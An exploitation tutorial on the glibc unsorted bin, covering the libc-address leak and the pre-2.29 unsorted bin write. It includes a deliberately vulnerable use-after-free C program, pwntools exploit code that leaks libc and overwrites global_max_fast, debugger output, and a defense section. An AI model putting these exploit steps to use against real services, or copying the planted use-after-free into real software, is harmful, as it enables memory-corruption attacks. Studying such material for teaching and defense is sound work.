Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.
Introduction
The unsorted bin is the crossroads of the glibc allocator: nearly every non-fast, non-tcache free passes through it, and every malloc that cannot be served from a smaller cache scans it. Those two facts give it two distinct offensive uses. First, a chunk parked in the unsorted bin has fd/bk pointing into libc, so reading it back leaks the libc base — the single most common way to defeat ASLR on the libc side. Second, the classic unsorted bin attack corrupts a chunk’s bk so that the allocator’s own list-management code writes a large libc pointer to an address you choose. This article covers both, and is candid about why the write primitive is largely historical on modern glibc while the leak remains evergreen.
The write primitive is worth understanding even though glibc 2.29 added a check that neutralises its naive form, because the *mechanism* — abusing the partial-unlink during unsorted-bin traversal — is the direct ancestor of the large bin attack, which survives. We cover the leak (works on all modern glibc when a chunk avoids the tcache), the write (pre-2.29 in its simple form), and exactly what the 2.29 corrupted unsorted chunks check changed.
Attack Prerequisites
Both techniques require getting a chunk into the unsorted bin, which on modern glibc means dodging the tcache first:
- A chunk larger than the tcache ceiling (chunk size > 0x410) or a full tcache bin, so that
freeroutes the chunk to the unsorted bin rather than the per-thread cache. - A non-top chunk — the freed chunk must not border the top chunk, or
freeconsolidates it into the wilderness instead of binning it (allocate a guard chunk after it). - A read primitive (UAF read, or an overflow that leaves data readable) to recover the libc pointer for the leak.
- A write into a freed unsorted chunk’s
bkfor the write primitive — and, on glibc >= 2.29, an understanding that the naive form now aborts, pushing you toward the large bin attack instead.
How It Works
When a chunk that is too big for the fastbins/tcache is freed, _int_free coalesces it with free neighbours and places the result at the head of the unsorted bin, a single doubly-linked list whose head lives inside main_arena. Its fd and bk therefore point at &main_arena.bins[0] region in libc. That is the leak: allocate a large chunk, free it into the unsorted bin, and read its first 8 bytes — you get a libc address at a fixed offset from the libc base (commonly reported by tools as main_arena+96). Subtract the offset and you have defeated libc ASLR. The only care needed is to keep the chunk out of the tcache so its fd/bk actually point at libc rather than at another heap chunk.
The unsorted bin attack abuses how _int_malloc drains that list. When a later allocation scans the unsorted bin, for each chunk victim it performs a partial unlink: it reads bck = victim->bk and writes unsorted_chunks(av) into bck->fd (bck->fd = unsorted_chunks(av)), where unsorted_chunks(av) is the address of the bin head in libc. If you overwrite victim->bk with target - 0x10, then bck->fd resolves to target, and the traversal writes a large libc pointer there. You do not choose the value — it is always the bin head address — but you choose *where* it lands. Classic uses aim at global_max_fast (making almost any size ‘fast’ to unlock fastbin techniques) or at a loop counter / size field whose exact value does not matter.
glibc 2.29 added a guard that breaks the naive attack: before using a scanned unsorted chunk, _int_malloc checks if (__glibc_unlikely (bck->fd != victim)) malloc_printerr("malloc(): corrupted unsorted chunks"). Because the attack sets victim->bk to target-0x10, bck->fd is whatever sits at target, which will not equal victim — so it aborts. The write still *happens* in the sense that the mechanism is the same, but the added consistency check makes the simple single-write form unusable from 2.29 onward. The lasting value is conceptual: the same partial-unlink idea, applied to the large bin’s fd_nextsize/bk_nextsize fields, is the still-viable large bin attack.
Vulnerable Code / Setup
A note manager with a use-after-free read and write is enough. The key setup detail is sizing: allocations above the tcache ceiling so frees hit the unsorted bin, plus a guard chunk to keep the victim off the top chunk:
// gcc -O0 -fno-stack-protector -no-pie unsorted.c -o unsorted
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
char *ptrs[16]; size_t szs[16];
void add(int i, size_t n){ ptrs[i]=malloc(n); szs[i]=n; }
void del(int i){ free(ptrs[i]); } // BUG: no null -> UAF
void edit(int i, char *s, size_t n){ memcpy(ptrs[i], s, n); } // UAF write
void view(int i){ fwrite(ptrs[i], 1, szs[i], stdout); } // UAF read (leak)
CThe leak needs a chunk whose size exceeds 0x410; malloc(0x428) yields a 0x430-class chunk that bypasses the tcache. Confirm protections and, critically, the glibc version, since 2.29 decides whether the write primitive is even available:
$ checksec --file=./unsorted
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
$ ldd --version | head -1
ldd (Ubuntu GLIBC 2.27-3ubuntu1) 2.27 # pre-2.29: unsorted bin write viable
BashWalkthrough / Exploitation
Start with the leak, which works on any modern glibc. Allocate a large chunk and a guard, free the large one into the unsorted bin, then read its fd:
from pwn import *
io = process('./unsorted')
libc = ELF('./libc.so.6')
def add(i,n): ... # menu wrappers
def free(i): ...
def view(i): ...
def edit(i,data): ...
add(0, 0x428) # 0x430-class chunk: too big for tcache
add(1, 0x18) # guard: keeps chunk 0 off the top chunk
free(0) # chunk 0 -> unsorted bin; fd/bk now point into libc
leak = u64(view(0)[:8].ljust(8, b'\x00'))
libc.address = leak - (libc.sym['main_arena'] + 96) # derive libc base
log.info('libc base: %#x', libc.address)
PythonVerify under pwndbg that the chunk really is in the unsorted bin and that the leaked pointer is the bin head in libc — never trust the offset blind:
pwndbg> bins
unsortedbin
all: 0x5555...300 -> 0x7ffff7dcxb20 (main_arena+96) <- 0x5555...300
pwndbg> vis_heap_chunks # confirm fd/bk of the freed chunk point into libc
BashFor the write primitive (pre-2.29), overwrite the freed chunk’s bk with target - 0x10, then trigger a scan of the unsorted bin with another allocation of a size that forces the traversal. The bin head address is written to target:
target = libc.sym['global_max_fast'] # classic destination
edit(0, p64(0) + p64(target - 0x10)) # victim->fd (unused here), victim->bk
add(2, 0x428) # malloc scans unsorted bin -> bck->fd = &unsorted head at target
# target now holds a large libc pointer (main_arena bin head), enabling
# fastbin techniques for almost any size on this pre-2.29 glibc.
PythonOn glibc >= 2.29 that add(2, ...) aborts with malloc(): corrupted unsorted chunks because bck->fd != victim. The modern replacement keeps the leak exactly as-is — it never went away — and swaps the write for a large bin attack, which uses the same style of partial unlink through bk_nextsize and evades the unsorted-bin check by operating on the large bin insertion path instead. In practice, on a current target you take the unsorted bin for the libc leak and reach for the large bin attack or a tcache/FSOP chain for the write.
Note: The leaked value is the address of the unsorted bin head inside
main_arena, not the libc base — tools label itmain_arena+96on 64-bit. The exact delta from that pointer to the libc base (and frommain_arenato the libc symbols) is glibc-version specific, so compute it from a matchedlibc.so.6with pwntools’ELFrather than pasting a number from a writeup for a different version.
Opsec: If your ‘unsorted’ chunk shows up in
tcachebinsinstead, it was small enough to be cached and its fd/bk point at another heap chunk, not libc — your leak will be a heap address, not a libc one. Push the size above 0x410 or fill the matching tcache bin first, and always confirm placement withbinsbefore reading.
Detection and Defense
The leak is a consequence of information disclosure via freed memory; the write is allocator-metadata corruption. Both are addressed by lifetime hygiene and current glibc:
- Null freed pointers so a UAF read cannot disclose the residual libc
fd/bk, removing the leak at its source. - Run glibc >= 2.29 — the
corrupted unsorted chunkscheck neutralises the naive unsorted bin write; keep libc patched on exposed services. - Full RELRO + PIE limit the value of any single large-pointer write and force the attacker to leak before aiming.
- Sanitizers — ASan/Valgrind catch the underlying UAF/overflow that both the leak and write depend on, deterministically in CI.
- Watch for the abort —
malloc(): corrupted unsorted chunksin logs is a direct signature of an attempted unsorted bin write on modern glibc.
Real-World Impact
The unsorted bin leak is arguably the most-used single step in all of glibc heap exploitation: almost every chain that needs to call system or land a one_gadget first defeats libc ASLR by freeing a large chunk and reading the residual main_arena pointer. The unsorted bin *attack* had a shorter shelf life — the 2.29 hardening ended its naive form — but its partial-unlink idea lives on in the large bin attack, and it remains a standard teaching example in how2heap for understanding how the allocator’s own list surgery can be turned into a write. The pairing (evergreen leak, historical write) is a clean case study in how targeted glibc checks retire specific primitives without touching the information disclosure that feeds them.
Conclusion
The unsorted bin gives you two things for the price of one free: a libc address, because a binned chunk’s fd/bk point back into main_arena, and — before glibc 2.29 — an arbitrary write, because the traversal’s partial unlink writes the bin head to victim->bk->fd. The leak is timeless and underpins most libc ROP; the write was retired by the corrupted unsorted chunks check but bequeaths its mechanism to the large bin attack. Know both, keep the leak in your toolkit, and reach past the write to its modern descendant when the target runs a current glibc.
You Might Also Like
If you found this useful, these related deep-dives cover adjacent techniques and their defenses:



Comments